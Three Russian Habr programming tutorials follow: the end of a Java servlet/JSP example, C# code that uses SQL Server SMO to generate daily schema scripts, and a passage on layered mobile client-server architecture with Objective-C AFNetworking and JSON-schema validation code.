protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.getRequestDispatcher("/test.jsp").forward(request, response);
}
}
```
Класс надо унаследовать от HttpServlet и переопределить метод doGet(); В переопределённом методе мы пишем название строки, на которую будет осуществлён переход (в нашем случае, это "/test.jsp".
Таким образом, при вызове адреса [localhost](http://localhost):8080/имя\_WAR**/test** Tomcat находит нужный , выясняет, что он принадлежит testServlet, далее видит, что этому testServlet принадлежит Java-файл TestSevlet, исполняет его, а в Java-файле идёт переход на test.jsp. Осталось написать test.jsp:
```
<%--
Created by IntelliJ IDEA.
User: promoscow
Date: 17.07.17
Time: 23:22
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
Test
Hey there! It's test servlet page!
```
Теперь, когда пользователь допишет /test к изначальному адресу, выполнится алгоритм, описанный в начале статьи (помните, я обещал к ней вернуться?) и браузер покажет содержимое файла test.jsp. Также, можно, например, написать в стартовом файле (например, index.html) ссылку:
```
[Test page](test)
```
И произойдёт вышеописанная цепь событий, которая вызовет, в итоге, страницу test.jsp.
Надеюсь, эта статья поможет барахтающимся в поисках здравого смысла начинающим разработчикам написать первый сервлет, а уже в дальнейшем к этому пониманию постепенно будет присоединяться всё остальное (как это обычно бывает). | https://habr.com/ru/post/333626/ | null | ru | null |
# Программная генерация скриптов для MSSQL
В силу частых и неупорядоченных изменений базы данных, большим числом пользователей, часто возникает вопросы о истории изменений. Речь не идет о тотально логирование всех изменений, которые происходят с базой в течение дня. Интерес представляют собой снимки структуры БД каждый день после окончания рабочего дня. С помощью SQL Server Management Studio можно сгенерировать скрипты, но поштучно или все сразу. Полную свободу действий можно получить использовав набор библиотек от SQL Server Management Studio в вашем .NET приложение. Описание программы генерации скриптов: таблиц, представлений, процедур далее.
##### Присоединение библиотек
Потребуются классы из пространств имен:
```
using Microsoft.SqlServer.Management.Smo;
using Microsoft.SqlServer.Management.Common;
using Microsoft.SqlServer.Management.Sdk.Sfc;
```
Библиотеки, которые их содержат имеют такие же названия и находятся в папке:
C:\Program Files\Microsoft SQL Server\90\SDK\Assemblies
или
C:\Program Files\Microsoft SQL Server\100\SDK\Assemblies
в зависимости от версии SQL Server.
##### Выполняемый сценарий
Генератор скриптов создает отдельные папки Tables, Views, Procedures в указанной директории. Создает скрипты создания объектов и сохраняет в отдельных файлах в соответствующих папках. Для таблиц генерация производиться с учетом зависимостей(ключи, индексы и т.д.) и без. Создает общий файл однотипных скриптов в указанной директории.
```
//Создается экземпляр сервера
Server myServer = new Server(@"myServ");
//Аутентификация Windows
myServer.ConnectionContext.LoginSecure = true;
//Открыть соединение
myServer.ConnectionContext.Connect();
//Директория создается автоматически, с новой папкой на каждый день
string dir = Application.StartupPath +@"\"+ DateTime.Now.Day.ToString() + "_" + DateTime.Now.Month.ToString() + "_" + DateTime.Now.Year.ToString();
Directory.CreateDirectory(dir);
//Генерация таблиц, описание ниже
GenerateTableScript(myServer,dir);
//Генерация процедур, описание ниже
GenerateProceduresScript(myServer, dir);
//Генерация представлений, описание ниже
GenerateViewScript(myServer, dir);
//Закрыть соединение
myServer.ConnectionContext.Disconnect();
```
##### Генерация скриптов для таблиц
```
private static void GenerateTableScript(Server myServer, string path)
{
Directory.CreateDirectory(path + @"\Tables\");
string text = "";
string textWithDependencies = "";
//Создаем экземпляр класса, который будет генерировать скрипты
Scripter scripter = new Scripter(myServer);
//Создаем экземпляр класса базы данных, "ZZZ" - название базы данных
Database myAdventureWorks = myServer.Databases["ZZZ"];
//Создаем экземпляр класса настроек генерации скриптов
ScriptingOptions scriptOptions = new ScriptingOptions();
//Функциональность свойств у класса настроек генерации легко определяема
//Не создавать скрипт с Drop
scriptOptions.ScriptDrops = false;
//Не включать скрипт с If Not Exists
scriptOptions.IncludeIfNotExists = false;
//Перебираем все таблицы
foreach (Table myTable in myAdventureWorks.Tables)
{
//Получаем sql запрос на основание выбранных параметров
StringCollection tableScripts = myTable.Script(scriptOptions);
//Переменная для объединения строк
string newSql = "";
//Объединяем строки
foreach (string script in tableScripts)
{
newSql = newSql + script;
text = text + script;
}
//Записываем в файл скрипт создания таблицы без зависимостей
File.WriteAllText(path + @"\Tables\" + myTable.Name + ".sql", newSql);
//Определяем новые параметры генерации
scriptOptions.DriAllConstraints = true;
scriptOptions.DriAllKeys = true;
scriptOptions.DriDefaults = true;
scriptOptions.DriForeignKeys = true;
scriptOptions.DriIndexes = true;
scriptOptions.DriNonClustered = true;
scriptOptions.DriPrimaryKey = true;
scriptOptions.DriUniqueKeys = true;
tableScripts = myTable.Script(scriptOptions);
newSql = "";
foreach (string script in tableScripts)
{
newSql = newSql + script;
textWithDependencies = text + script;
}
//Записываем в файл скрипт создания таблицы с зависимостями
File.WriteAllText(path + @"\Tables\" + myTable.Name + "_WithDependencies.sql", newSql);
}
//Записываем общие объединяющие файлы
File.WriteAllText(path + @"\" + "AllTable_WithDependencies.sql", text);
File.WriteAllText(path + @"\" + "AllTable.sql", text);
}
```
##### Генерация скриптов для представлений
```
private static void GenerateViewScript(Server myServer, string path)
{
Directory.CreateDirectory(path + @"\View\");
string text = "";
Scripter scripter = new Scripter(myServer);
Database myAdventureWorks = myServer.Databases["ZZZ"];
ScriptingOptions scriptOptions = new ScriptingOptions();
scriptOptions.ScriptDrops = false;
scriptOptions.IncludeIfNotExists = false;
foreach (Microsoft.SqlServer.Management.Smo.View myView in myAdventureWorks.Views)
{
StringCollection ProcedureScripts = myView.Script(scriptOptions);
ProcedureScripts = myView.Script();
string newSql = "";
foreach (string script in ProcedureScripts)
{
newSql = newSql + script;
text = text + script;
}
File.WriteAllText(path + @"\Views\" + myView.Name + ".sql", newSql);
}
File.WriteAllText(path + @"\" + "AllView.sql", text);
}
```
##### Генерация скриптов для процедур
```
private static void GenerateProceduresScript(Server myServer, string path)
{
Directory.CreateDirectory(path + @"\Procedures\");
string text = "";
Scripter scripter = new Scripter(myServer);
Database myAdventureWorks = myServer.Databases["ZZZ"];
ScriptingOptions scriptOptions = new ScriptingOptions();
scriptOptions.ScriptDrops = false;
scriptOptions.IncludeIfNotExists = false;
foreach (StoredProcedure myProcedure in myAdventureWorks.StoredProcedures)
{
StringCollection ProcedureScripts = myProcedure.Script(scriptOptions);
ProcedureScripts = myProcedure.Script();
string newSql = "";
foreach (string script in ProcedureScripts)
{
newSql = newSql + script;
text = text + script;
}
File.WriteAllText(path + @"\Procedures\" + myProcedure.Name + ".sql", newSql);
}
File.WriteAllText(path + @"\" + "AllProcedure.sql", text);
}
```
##### Заключение
Описанная функциональность может быть полезна для логирования изменений в структуре баз данных, автоматической фильтрации выгружаемых объектов по названию. Например, префикс в названиях может указывать на отдельное направление в проекте. Общие и отдельные скрипты можно складывать в SVN. Можно писать автоматическое сравнение объектов базы и отсылку сообщений ответственному лицу по факту произошедших изменений.
Код можно посмотреть [здесь](http://coderstory.net/form1.txt).
Основой материала послужила статья: [Generate Scripts for database objects with SMO for SQL Server](http://www.mssqltips.com/sqlservertip/1833/generate-scripts-for-database-objects-with-smo-for-sql-server/) | https://habr.com/ru/post/145263/ | null | ru | null |
# Архитектура мобильного клиент-серверного приложения
К добавлению внешнего сервера рано или поздно приходит любой сложный проект. Причины, при этом, бывают совершенно различные. Одни, загружают дополнительные сведения из сети, другие, синхронизируют данные между клиентскими устройствами, третьи- переносят логику выполнения приложения на сторону сервера. Как правило, к последним относятся большинство «деловых» приложений. По мере отхода от парадигмы «песочницы», в которой все действия выполняются только в рамках исходной системы, логика выполнения процессов переплетается, сплетается, завязывается узлами настолько, что становится трудно понять, что является исходной точкой входа в процесс приложения. В этом момент, на первое место выходит уже не функциональные свойства самого приложения, а его архитектура, и, как следствие, возможности к масштабированию.
Заложенный фундамент позволяет либо создать величественный архитектурный ансамбль, либо «накурнож» — избушку на куриных ножках, которая рассыпается от одного толчка «доброго молодца» коих, за время своего существования повидала видимо — невидимо, потому что, глядя на множественные строительные дефекты заказчик склонен менять не исходный проект, а команду строителей.
Планирование — ключ к успеху проекта, но, именно на него выделяется заказчиком минимальный объем времени. Строительные паттерны — туз в рукаве разработчика, который покрывает неблагоприятные комбинации где время — оказывается решающим фактором. Взятые за основу работающие решения позволяют сделать быстрый старт, чтоб перейти к задачам, кажущиеся заказчику наиболее актуальными (как-то покраска дымоходной трубы, на еще не возведенной крыше).
В этой статье я постараюсь изложить принцип построение масштабируемой системы для мобильных устройств, покрывающей 90-95% клиент-серверных приложений, и обеспечивающей максимальное отдаление от сакраментального «накурножа».
Пока занимался доработкой данной статьи, на хабре вышла аналогичная статья (<http://habrahabr.ru/company/redmadrobot/blog/246551/>). Не со всеми акцентами автора я согласен, но в целом, мое видение не противоречит и не пересекается с материалом изложенным там. Читатель же, сможет определить, какой из подходов более гибкий, и более актуальный.
Общая структура клиент-серверного взаимодействия со стороны сервера представлена здесь: [www.4stud.info/networking/lecture5.html](http://www.4stud.info/networking/lecture5.html) Однако, нас больше интересует этот же взгляд со стороны клиента, и в этой связи, нет никакой разницы между двузвенной и трезвенной архитектурой:
Здесь важно понимание двух вещей:
1. Может быть множество клиентов, использующих один аккаунт для общения с севером.
2. Каждый клиент, как правило, имеет свое собственное локальное хранилище. \*
\*В ряде случаев, локальное хранилище может быть синхронизировано с облаком, и, соотвественно, с каждым из клиентов. Поскольку это частный случай и, по больше части, не влияющий на архитектуру приложения, мы его опускаем.
Следует отметить, что поскольку, некоторые разработчики стремятся избавится от «серверной части» некоторые приложения построены вокруг синхронизации их хранилищ в «облаке». Т. е. фактически, имеют так же, двузвенную систему, но с переносом архитектуры её развертывания на уровень операционной системы. В некоторых случаях такая структура оправдана, но такая система не так легко масштабируется, и её возможности весьма ограничены.
**Общая структура приложения**
На самом примитивном уровне абстракции приложение, ориентированное на работу с сервером состоит из следующих архитектурных слоев:
1. Ядро приложения, которое включает в себя компоненты системы, не доступные для взаимодействия с пользователем.
2. Графический пользователь интерфейс
3. Компоненты повторного использования: библиотеки, визуальные компоненты и другое.
4. Файлы окружения: AppDelegate, .plist и т. д.
5. Ресурсы приложения: графические файлы, звуки, необходимые бинарные файлы.
Наиважнейшим условием построение стрессоустойчивой архитектуры является отделение ядра системы от GUI, настолько, что б одно, могло успешно функционировать без другого. Между тем, большинство RAD систем исходят из противоположного посыла — формочки образуют скелет системы, а функции наращивают ей мышцы. Как правило, это оборачивается тем, что не приложение становится ограниченным своим интерфейсом. И, интерфейс приобретает однозначное толкование как с точки зрения пользователя, так и с точки зрения иерархии классов.
**Ядро**
Ядро приложения, состоит из следующих слоев:
1. (Start layer) Стартовый слой, определяющий рабочий процесс, начала исполнения программы.
2. (Network layer) Сетевой слой, обеспечивающий механизм транспортного взаимодействия.
3. (API layer) Слой API, обеспечивающий единую систему команд взаимодействия между клиентом и сервером.
4. (Network Cache Layer) Слой сетевого кэширования, обеспечивающий ускорения сетевого взаимодействия клиента и сервера.
5. (Validation Items Layer) Слой валидации данных полученных из сети
6. (Network Items Layer) Слой сущности данных передаваемых по сети
7. (Data Model) Модель данных, обеспечивающая взаимодействие сущностей данных.
8. (Local cache layer) Слой локального кеширования, обеспечивающий локальный доступ к уже полученным сетевым ресурсам.
9. (Workflow layer) Слой рабочих процессов, включающий классы и алгоритмы специфичные для данного приложения.
10. (Local storage) Локальное хранилище
Одна из основных задач стоящие перед разработчиками системы заключается в том чтобы обеспечить взаимно независимое функционирование указанных слоев. Каждый слой должным обеспечивать только выполнение возложенных на него функций. Как правило, слой находящийся на более высоком уровне иерархии не должен иметь представление о специфике реализации других слоев.
Рассмотрим процесс решения задачи с токи зрения Junior и Senior разработчиков.
Задача: написать программу «калькулятор валют» которая получала бы данные из сети, и строила график изменения курсов.
**Junior:**
1) Исходя из постановки задачи, нам известно, что приложение будет состоять из следующих частей:
1. Форма для математических операций (сложение, вычитание)
2. Форма для отображения графика
3. Дополнительные формы: сплеш-скрин, about.
2) Зависимость форм делаем следующей: форма вычислений является главной в нашем приложении. Она запускает из себя сплэш форму, которая скрывается через определенный промежуток времени, форму графиков и about по нажатию на определенную кнопку.
3) Время отображения сплешскрина — эквивалентно времени загрузки данных из сети.
4) Поскольку загрузка из сети выполняется только во время показа сплэш-формы, то код загрузки данных размещается внутри формы, а по завершению формы, удаляется из памяти вместе с формой.
Насколько работоспособное данное приложение? Думаю, что ни у кого нет сомнения, что используя Delphi или Visual Studio можно в момент решить эту задачу. Используя Xcode сделать это несколько сложнее, но тоже можно не сильно напрягаясь. Однако, вслед за появлением прототипа, начинают появляться вопросы масштабируемости. Становится очевидным, что для отображения графика необходимо хранить данные за предыдущий период. Не проблема, можно добавить хранилище данных внутрь формы графиков. Однако, данные могут приходить от разных провайдеров и в разных форматах. Кроме того, арифметические операции могут осуществляться с разными валютам, а значит, необходимо обеспечить их выбор. Делать такой выбор на форме графиков — несколько нелогично, хотя и возможно, однако, от таких настроек зависит что именно мы будем отображать на графике. Это означает, что если мы выносим дополнительные параметры в окно настроек, то нам придется как-то их передавать через главную форму в окно графиков. В этом случае логично будет сделать локальную переменную, в которой и хранить передаваемые параметры, и обеспечить доступ из одной форме к другой форме через главную форму. Ну и так далее. Цепочку рассуждений можно строить весьма долго, и сложность взаимодействий будет возрастать.
**Senior:**
Постановка задачи позволяет выделить несколько подзадач, которые могут быть описаны отдельными классами:
1) Загрузка данных из сети.
1. Проверка полученных данных
2. Сохранение данных в постоянном хранилище.
3. Вычисление данных.
4. операция сложения
5. операция вычитания
6. Фильтрация данных по указанным критериям (настройки приложения)
7. Класс старта приложения.
2) Обеспечить связанную работу интерфейса, который состоит из следующих основных форм:
1. Главный контроллер (может быть невидимым)
2. Форма вычисления
3. Форма графиков
4. Сплеш и About
5. Опционально форма настроек.
3) После запуска приложения на выполнения, производится создание (инстанциирование) объекта отвечающего за загрузку данных (в подавляющем большинстве случае асинхронную) и начинает процесс. Главный контроллер приложения отображает сплеш-скрин, и в это время, формирует форму, которая займет его место по сокрытию сплэш-формы.
4) По окончании загрузки данных, создается объект-валидатор и объект-провайдер локального хранилища. В случае если данные прошли необходимую валидацию, они могут быть переданы провайдеру локального хранилища.
5) Для отображения графика, создается объект локального хранилища и объект настроек данных. Настройки данных передаются в провайдер локального хранилища для извлечения данных с установленными фильтрами.
6) Для проведения вычислений создается объект-калькулятор, и объекты операций. В объект калькулятор передаются данные полученные с формы, и один из двух объектов операций, которы знают как именно осуществить вычисления.
Конечно, данный подход требует больше усилий по программированию, и соотвественно, изначально предполагает больше времени. Однако, исходя из подзадач ясно, что во-первых, работу над ним легко распараллелить — в то время как один разработчик занят формированием ядра — другой, создает и отлаживает UI. Ядро может благополучно работать в рамках консоли, UI прощелкиваться в девайсе и, ко всему прочему, к обеим частям можно прикрутить независимые юнит-тесты. Другим несомненным достоинством является то, что второй подход значительно более масштабируем. В случае пересмотра функциональности проекта, любые изменения будут вносится многократно быстрее, потому что попросту не существует ограничительных рамок визуальных представлений. Сами визуальные формы (GUI) отображают необходимый минимум основанный на существующих в ядре задачах.
**Start layer:**
В iOS приложение начинает функционирование с запуска объекта делегатного класса. Его назаначение — принять и передать вызовы системы приложению, а так же, осуществить первоначальную конфигурацию GUI приложения. Все алгоритмы и механизмы, которые не относятся к старту приложения, или получения сообщений от системы должны быть вынесены в отдельные классы. Сразу после завершения первоначальной конфигурации управление должно быть передано классу, который осуществляет остальные операции настройки приложения: авторизацию, реконфигурирование интерфейса в зависимости от условий, первоначальную загрузку данных, получения необходимых токенов и так далее. Типичной ошибкой разработчиков является монстроузный спегетти-код размещенный в AppDelegate. Оно и понятно- практически все примеры внешних фреймворков для простоты понимания именно здесь располагают свой код. Незадачливые программисты не тратят время на рефакторинг, и просто копируют «как там». Ситуация совершенно типичная для тех, кто использует встроенный шаблон создания CoreData.
Часто там можно увидеть реализацию следующих функций:
1. Настройка и обслуживание сессий Facebook
2. Настройка менеджера вкладок если приложение поддерживает UITabbarController.
3. Очистка CoreData и сохранение данных при входе в Background.
4. Проверка и инициализация обновлений
5. Уведомление внешних серверов статистики
6. Синхронизация Модели данных
Намного более элегантным решением было бы создание синглтонного класса Start, и передачу туда данных, приходящих в AppDelegate, а уж в Start производить разведение данных по рабочим процессам: для CoreData — один flow-класс, для социальных сетей — другой.
**Network Layer:**
Обеспечивает базовые алгоритмы транспортного уровня передачи сообщений от клиента к серверу, и получению от него необходимой информации. Как правило, сообщения могут передаваться в форматах JSON и Multipart, хотя, в некоторых экзотических случаях это может быть XML или вообще бинарный поток. Кроме того, каждое сообщение может иметь заголовок со служебной информацией. Например, там может быть описана длительность хранения запроса / ответа в кеше приложения.
Network Layer не имеет никакого представления об используемых приложением серверах, или о его системе команд. Обработка ошибок сетевого соединения осуществляется виртуальными методами на следующих уровнях приложения. Задача этого слоя только осуществить вызов метода обработки и передать в него полученную из сети информацию.
Кроме того, перед непосредственным запросом информации из сети, network layer опрашивает локальный кеш, и в случае присутствия там ответа сразу же возвращает его пользователю.
Содержание этого слоя во многом зависит от того, какая технология транспорта Вам наиболее близка. В арсенале разработчика наиболее востребованы следующие варианты:
* Socket — наиболее низкоуровневый подход, включающий в себя синхронные и асинхронные запросы, и имеющий возможность работать как с TCP так и с UDP подключениями. Позволяет делать практически все что угодно, но требует высокой степени концентрации на задаче, не дюжей усидчивости, и большого объема кода.
* WebSocket — подход опирающийся на использование заголовков поверх TCP. Подробности можно прочесть здесь: [habrahabr.ru/post/79038](http://habrahabr.ru/post/79038/) При мобильной разработке применяется не часто, так как недостаточно гибок, и по прежнему требует довольно большого количества кода для своей поддержки.
* WCF — наверное самый совершенный механизм, но имеющий столь серьезный минус, который перевешивает все плюсы. Подход изобретенный в недрах Microsoft опирается на создании прокси-класса, который опосредует взаимоотношение между логикой приложения, и удаленным севером. Работает «на ура» в том случае, если удается сгенерировать прокси класс на основе WSDL схем ( [en.wikipedia.org/wiki/Web\_Services\_Description\_Language](https://en.wikipedia.org/wiki/Web_Services_Description_Language) ), что, является задачей, мягко говоря, не тривиальной. К тому же этот класс необходимо перегенерировать после каждого обновления серверного API. И если для разработчиков Visual Studio это делается с легкостью Зефира, то для разработчиков iOS — задача совершенно неподъемная, даже тех кто использует MonoTouch в разработке.
* REST — надежный, проверенный временем компромис всех перечисленных выше подходов ( [ru.wikipedia.org/wiki/REST](https://ru.wikipedia.org/wiki/REST)). Конечно, от части возможностей каждого из подхода приходится отказываться, зато делается это быстро, и чрезвычайно эффективно с минимумом усилий.
GitHub содержит множество библиотек, позволяющих использовать REST соединения, для iOS, наиболее востребованной является AFNetworking.
REST опирается на использование GET, POST, PUT, HEAD, PATCH и DELETE запросов. Такой зоопарк называют RESTFul ( [habrahabr.ru/post/144011](http://habrahabr.ru/post/144011/) ) и, как правило, он применяется только тогда, когда пишется универсальный API для работы мобильных приложений, веб-сайтов, десктопов и космических станций в одной связке.
Подавляющее большинство приложений ограничивает систему команд двумя типами, GET и POST, хотя, достаточно только одного — POST.
GET запрос передается в виде строки, которую Вы используете в браузере, а параметры для запроса передаются разделенные знаками ‘&’. POST запрос так же использует «браузерную строку» но, параметры скрывает внутри невидимого тела сообщения. Последние два утверждения повергают в уныние тех, кто с запросами ранее не сталкивался, в действительности же, технология отработана настолько, что она совершенно прозрачна для разработчика, и не приходится вникать в такие нюансы.
Выше, было описано что отправляется серверу. А вот то, что приходит от сервера — куда интересней. Если Вы используете AFNetworking, то со стороны сервера Вы получите Как правило, iOS разработчики называют JSON- оном сериализированный словарь, но это не совсем так. Истинный JSON имеет чуть более сложный формат, но в чистом виде им практически никогда пользоваться не приходится. Однако, о том, что имеется отличие знать нужно — бывают нюансы.
Если Вы работаете с сервисом, установленным на Microsoft Windows Server, то вероятнее всего, там будет использован WCF. Однако, начиная с Windows Framework 4, имеется возможность для клиентов поддерживающих только REST протокол, сделать доступ совершенно прозрачно, декларативным образом. Вы даже сможете не тратить время на получении пояснений об API — документация о системе команд генерируется автоматически IIS (майкрософтовским веб-сервером).
Ниже приводится минимальный код, для реализации Network Layer при помощи AFNetworking 2 на Objective-C.
**Листинг 1**ClientBase.h
```
#import "AFHTTPRequestOperationManager.h"
NS_ENUM(NSInteger, REQUEST_METHOD)
{
GET,
HEAD,
POST,
PUT,
PATCH,
DELETE
};
@interface ClientBase : AFHTTPRequestOperationManager
@property (nonatomic, strong) NSString *shortEndpoint;
- (void)request:(NSDictionary *)data andEndpoint:(NSString *)endpoint andMethod:(enum REQUEST_METHOD)method success:(void(^)(id response))success fail:(void(^)(id response))fail;
@end
```
ClientBase.m
```
#import "ClientBase.h"
@implementation ClientBase
- (void)request:(NSDictionary *)data andEndpoint:(NSString *)endpoint andMethod:(enum REQUEST_METHOD)method success:(void(^)(id response))success fail:(void(^)(id response))fail
{
self.requestSerializer = [AFJSONRequestSerializer serializer];
if(data == nil)
data = @{};
AFHTTPRequestOperation *operation = [self requestWithMethod:method path:endpoint parameters:data success:success fail:fail];
[operation start];
}
- (AFHTTPRequestOperation *)requestWithMethod:(enum REQUEST_METHOD)method path:endpoint parameters:data success:(void(^)(id response))success fail:(void(^)(id response))fail{
switch (method)
{
case GET:
return [self requestGETMethod:data andEndpoint:endpoint success:success fail:fail];
case POST:
return [self requestPOSTMethod:data andEndpoint:endpoint success:success fail:fail];
default:
return nil;
}
}
- (AFHTTPRequestOperation *)requestGETMethod:(NSDictionary *)data andEndpoint:(NSString *)endpoint success:(void(^)(id response))success fail:(void(^)(id response))fail
{
return [self GET:endpoint
parameters:data
success:^(AFHTTPRequestOperation *operation, id responseObject) {
[self callingSuccesses:GET withResponse:responseObject endpoint:endpoint data:data success:success fail:fail];
[KNZHttpCache cacheResponse:responseObject httpResponse:operation.response];
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
NSLog(@"\n\n--- ERROR: %@", operation);
NSLog(@"\n--- DATA: %@", data);
[self callingFail:fail error:error];
}];
}
- (AFHTTPRequestOperation *)requestPOSTMethod:(NSDictionary *)data andEndpoint:(NSString *)endpoint success:(void(^)(id response))success fail:(void(^)(id response))fail {
return [self POST:endpoint
parameters:data
success:^(AFHTTPRequestOperation *operation, id responseObject) {
[self callingSuccesses:POST withResponse:responseObject endpoint:endpoint data:data success:success fail:fail];
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
NSLog(@"\n\n--- ERROR: %@", operation);
NSLog(@"\n--- DATA: %@", data);
[self callingFail:fail error:error];
}];
}
- (void)callingSuccesses:(enum REQUEST_METHOD)requestMethod withResponse:(id)responseObject endpoint:(NSString *)endpoint data:(NSDictionary *)data success:(void(^)(id response))success fail:(void(^)(id response))fail {
if(success!=nil)
success(responseObject);
}
- (void)callingFail:(void(^)(id response))fail error:(NSError *)error {
if(fail!=nil)
fail(error);
}
@end
```
Этого вполне достаточно чтоб передавать сетевые GET и POST сообщения. В большинстве своем, Вам не потребуется больше корректировать эти файлы.
**API Layer:**
Описывает команды REST и осуществляет выбор хоста. API Layer полностью отделен от знания реализации сетевых протоколов и любых других особенностей функционирования приложения. Технически, он может быть полностью заменен, без каких-либо изменений в остальных частях приложения.
Класс унаследован от ClientBase. Код класса настолько просто, что нет необходимость даже приводить его целиком — он состоит их единообразного описания API:
**Листинг 2**
```
#define LOGIN_FACEBOOK_ENDPOINT @"/api/v1/member/login/facebook/"
#define LOGIN_EMAIL_ENDPOINT @"/api/v1/member/login/email/"
- (void)loginFacebook:(NSDictionary *)data success:(void(^)(id response))success fail:(void(^)(id response))fail {
[self request:data andEndpoint:LOGIN_FACEBOOK_ENDPOINT andMethod:POST success:success fail:fail];
}
- (void)loginEmail:(NSDictionary *)data success:(void(^)(id response))success fail:(void(^)(id response))fail {
[self request:data andEndpoint:LOGIN_EMAIL_ENDPOINT andMethod:POST success:success fail:fail];
}
```
Как говорится: «Ничего лишнего».
**Network Cache Layer:**
Данный слой кеширования задействуется для ускорения сетевого обмена между клиентом и сервером на уровне iOS SDK. Выбор ответов осуществляется стороной лежащей за пределами контроля системы, и не гарантирует снижение сетевого трафика, но ускоряет его. Доступа к данным или механизмам реализации нет ни со стороны приложения, ни со стороны системы. При этом используется SQLite хранилище.
Код необходимый для этого слишком прост, чтоб не использовать его в любом проекте, который имеет доступ к сети:
**Листинг 3**
```
#define memoCache 4 * 1024 * 1024
#define diskCache 20 * 1024 * 1024
#define DISK_CACHES_FILEPATH @"%@/Library/Caches/httpCache"
- (void)start {
NSURLCache *URLCache = [[NSURLCache alloc] initWithMemoryCapacity:memoCache
diskCapacity:diskCache
diskPath:nil];
[NSURLCache setSharedURLCache:URLCache];
}
```
Вызвать нужно из любого места приложения однократно. Например из стартового слоя.
**Validation Items layer:**
Формат получаемых данных из сети в большей степени зависит от разработчиков сервера. Приложение физически не может контролировать использование изначально заданного формата. Для сложно-структурированных данных, коррекция ошибок сравнима по сложности с разработкой самого приложения. Наличие ошибок, в свою очередь, чревато крешем приложения. Использование механизма валидации данных существенно снижает угрозу некорректного поведения. Слой валидации состоит из схем JSON для большинства запросов к серверу, и класса, который осуществляет проверку полученных данных на соответствие загруженной схемы. Если полученный пакет не соотвествует схеме, он отклоняется приложением. Вызывающий код получит уведомление об ошибке. Аналогичное уведомление будет записано в лог консоли. Кроме того, может быть вызвана вызвана команда сервера для передачи на сторону сервера отчета, о возникшей ошибке. Главное, предусмотреть выход из рекурсии, если команда отправки такого сообщения тоже вызывает какую-нибудь ошибку (4xx или 5xx).
Имеет смысл на сервер отправлять следующие данные:
* Для какого аккаунта произошла ошибка.
* Какая команда вызвала ошибку.
* Какие данные были переданы серверу.
* Какой ответ был получен от сервера.
* Время UTC**\***
* Статус код команды. Для ошибок валидации он всегда 200.
* Схема, которой не удовлетворяет ответ сервера.
**\***Время UTC — это время, когда команды была вызвана, а не когда ответ был возвращен серверу. Как правило, они совпадают, но поскольку у приложения может имеется механизм очереди запросов, то теоретически, между вызовом сбойной команды, и регистрацией записи сервером могут проходить месяцы.
Предполагается, что схемы JSON запросов предоставляют серверные разработчики после реализации новых команд API.
Каждая схема, как и каждая команда, обязана удовлетворять определенным оговоренным ранее критериям. В приведенном примере ответ сервера должен содержать два основных и одно опциональное поле.
«status» обязательное. Содержит идентификатор OK или ERROR (или код HTTP типа «200»).
«reason» обязательное Содержит текстовое описание причины ошибки, если она возникла. В противном случае — это поле пустое.
«data» опциональное. Содержит результат выполнения команды. В случае ошибки отсутствует.
Пример схемы:
**Листинг 4**
```
{
"title": "updateconfig",
"description": "/api/v1/member/updateconfig/",
"type":"object",
"properties":
{
"reason":
{
"type":"string",
"required": true
},
"status":
{
"type":"string",
"required": true
},
"data":
{
"type":"object"
}
},
"required": ["reason", "status"]
}
```
Благодаря библиотеке разработанной Максимом Луниным сделать это стало очень просто. ( [habrahabr.ru/post/180923](http://habrahabr.ru/post/180923/) )
Код класса валидации приводится ниже
**Листинг 5**ResponseValidator.h
```
#import "ResponseValidator.h"
#import "SVJsonSchema.h"
@implementation ResponseValidator
+ (instancetype)sharedInstance
{
static ResponseValidator *sharedInstance;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [[ResponseValidator alloc] init];
});
return sharedInstance;
}
#pragma mark - Methods of class
+ (void)validate:(id)response endpoint:(NSString *)endpoint success:(void(^)())success fail:(void(^)(NSString *error))fail
{
[[м sharedInstance] validate:response endpoint:endpoint success:success fail:fail];
}
+ (NSDictionary *)schemeForEndpoint:(NSString *)endpoint
{
NSString *cmd = [[ResponseValidator sharedInstance] extractCommand:endpoint];
return [[ResponseValidator sharedInstance] validatorByName:cmd];
}
#pragma mark - Methods of instance
- (void)validate:(id)response endpoint:(NSString *)endpoint success:(void(^)())success fail:(void(^)(NSString *error))fail
{
NSString *cmd = [self extractCommand:endpoint];
NSDictionary *schema = [self validatorByName:cmd];
SVType *validator = [SVType schemaWithDictionary:schema];
NSError *error;
[validator validateJson:response error:&error];
if(error==nil)
{
if(success!=nil)
success();
}
else
{
NSString *result = [NSString stringWithFormat:@"%@ : %@", cmd, error.description];
if(fail!=nil)
fail(result);
}
}
- (NSString *)extractCommand:(NSString *)endpoint
{
NSString *cmd = [endpoint.stringByDeletingLastPathComponent lastPathComponent];
return cmd;
}
- (NSDictionary *)validatorByName:(NSString *)name
{
static NSString *ext = @"json";
NSString *filePath = [[NSBundle mainBundle] pathForResource:name ofType:ext];
NSString *schema = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
if(schema == nil)
return nil;
NSData *data = [schema dataUsingEncoding:NSUTF8StringEncoding];
NSError *error;
NSDictionary *result = [NSJSONSerialization JSONObjectWithData:data options:0 error:&error];
return result;
}
@end
```
Вызов валидации довольно прост:
**Листинг 6**
```
[ResponseValidator validate:responseObject endpoint:endpoint success:^{
/*
Валидация прошла успешно, вызываем конвейер обработки команды
*/
} fail:^(NSString *error) {
/*
Валидация провалена. Можем что-то сделать, а можем просто игнорировать результат. Зависит от религиозных предпочтений.
*/
}];
```
**Network Items layer:**
Именно на этот слое лежит ответственность за маппинг данных из JSON в десериализированное представление. Данный слой используется для описания классов, осуществляющих объектное или объектно-реляционное преобразование. В сети существует большое количество библиотек, осуществляющих объектно-релационные преобразования. Например JSON Model ( [github.com/icanzilb/JSONModel](https://github.com/icanzilb/JSONModel) ) или все та же библиотека Максима Лунина. Однако, не все так радужно. От проблем маппинга они не избавляют.
Поясним что такое маппинг:
Предположим существуют два запроса, которые возвращают одинаковые по структуре данные. Например, пользователей приложения и друзей пользователя, которые обладают таким полями как «идентификатор» и «имя пользователя». Беда в том, что серверные разработчики в одном запросе могут передвать поля: «id», «username», а во втором «ident», «user\_name». Такое разночтение может иметь целый набор неприятностей:
1. Десериализированный объект данных в Objective-C не может иметь поля «id» при использовании CoreData
